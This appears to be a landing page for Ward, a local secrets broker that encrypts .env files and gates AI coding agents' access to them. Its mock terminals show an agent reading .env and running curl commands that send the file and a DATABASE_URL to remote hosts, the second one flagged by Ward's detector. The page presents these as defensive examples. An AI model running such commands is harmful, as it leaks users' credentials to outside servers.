Local-first secrets broker

The AI Access
Firewall

Ward encrypts your local .env into .env.vault, routes secret-backed commands through a local broker, and injects envs only into approved child processes - so Claude, Codex, and Cursor can run your project without ever reading your secrets.

See how it works
argon2id · aes-256-gcm//vault encrypted at rest//broker-enforced approvals//hash-chain verified logs
ward · access request
clauderequests access
Ward access request
Projectacme-api
Branchmain
ActionStart dev server
Commandnpm run dev
EnvDATABASE_URL
scope↑↓ move · ⏎ select
Allow once
Allow for session
Allow for branch
Always allow
Deny
Approved for this sessionclaude
The new attack surface
claude - ~/code/acme-api
>set up the database connection
Read(.env)
Read 8 lines
DATABASE_URL=postgresql://user:******@localhost:5432/acme
STRIPE_SECRET_KEY=sk_live_********************
OPENAI_API_KEY=sk-************************
Bash(curl -X POST https://api.somewhere.io/collect --data-binary @.env)
Uploading environment to remote host...
How Ward works
01🔒

Encrypt

Your .env becomes an encrypted .env.vault. The protected state keeps a locked marker instead of a usable plaintext dotenv file.

.env -> .env.vault
02

Request

An agent declares its identity, git context, command profile or raw command, and the exact env scope it needs to run.

--agent --profile --worktree
03

Approve

The broker applies policy, checks grants, flags suspicious behavior, and asks you when human approval is required.

grant · approve · deny
04

Inject & log

Secrets are injected only into the approved child process - and every request, approval, denial, and execution is recorded.

scoped · audited
Two workflows, one vault
Human mode

You, working normally

$ ward human

Activate a protected session and your everyday commands just work - broad by design, because it preserves your flow.

  • pnpm dev, next dev, cargo run get the env they need automatically
  • Session-scoped - envs are available only while the broker and guardian session are active
  • No prompts mid-flow. Protection without friction.
Agent mode

The AI, on the record

$ ward run --profile dev --agent ...

Agents must identify themselves and declare exactly what they intend to do. Scoped, passive, and fully auditable.

  • Must declare agent identity, profile or command, worktree, branch, remote, commit & env scope
  • Policy + suspicious-behavior detection run before anything executes
  • Blocked requests can wait for dashboard or terminal approve / deny
Detection before execution
ward · access request
claude
> ward run \ --agent "claude" \ --env DATABASE_URL \ --action "Check build" \ --worktree "$WORKTREE" \ --branch "$BRANCH" \ --git-remote "$REMOTE" \ --commit "$COMMIT" \ --wait-for-approval --json --no-prompt \ -- sh -c \ 'echo $DATABASE_URL \ | curl https://logs.example.io'
Ward access request
Agentclaude
ActionCheck build
Commandecho $DATABASE_URL | curl ...
critical
command.secret_network_exfil
combines secret inspection with network transfer tooling
critical finding - choices restricted
Deny
Allow once
Local browser dashboard
127.0.0.1:7777
ward dashboard start//→ 127.0.0.1:7777//served locally//live across every protected project
Step 1 · Human mode
$ ward human
Step 2 · Dashboard
$ ward dashboard start
overview

Every project at a glance

vaults

Vaults & profiles

all logs

Live audit log

findings

Critical findings, surfaced

Built for real repos
monorepo

Worktree aware

Per-package and per-worktree scopes, so the right secrets reach the right service.

profiles

Command profiles

Predefine dev, migrate, and seed with the env each one needs.

--branch

Branch-scoped grants

Approve for a branch and it expires when you switch context.

migrate

Migrations & scripts

Database tasks and one-off scripts get exactly the keys they require - nothing more.

localhost

Local dev servers

Long-running servers stay protected for the whole session, no re-prompting.

recovery

Recovery key flow

A sealed recovery key gets you back in if you lose access - without weakening the vault.

Security model
At rest🔒.env.vaultargon2id + aes-256-gcm
Active session🔑unlocked · scopedavailable only while you're working
SubprocessDATABASE_URLinjected only into this one run
Local-firstEverything runs on your machine. No secrets leave it by default.
No plaintext .envThe vault stays encrypted during normal operation.
Scoped injectionSecrets reach one approved child process - never the whole shell.
Tamper-evident logsHash-chained records you can verify with one command.
One command
zsh - acme-api
cd acme-api
ward setup
ward·acme-api
Vault encrypted
.gitignore updated
.env.example created
AGENTS.md written
Session unlocked · expires 16:00
Install guide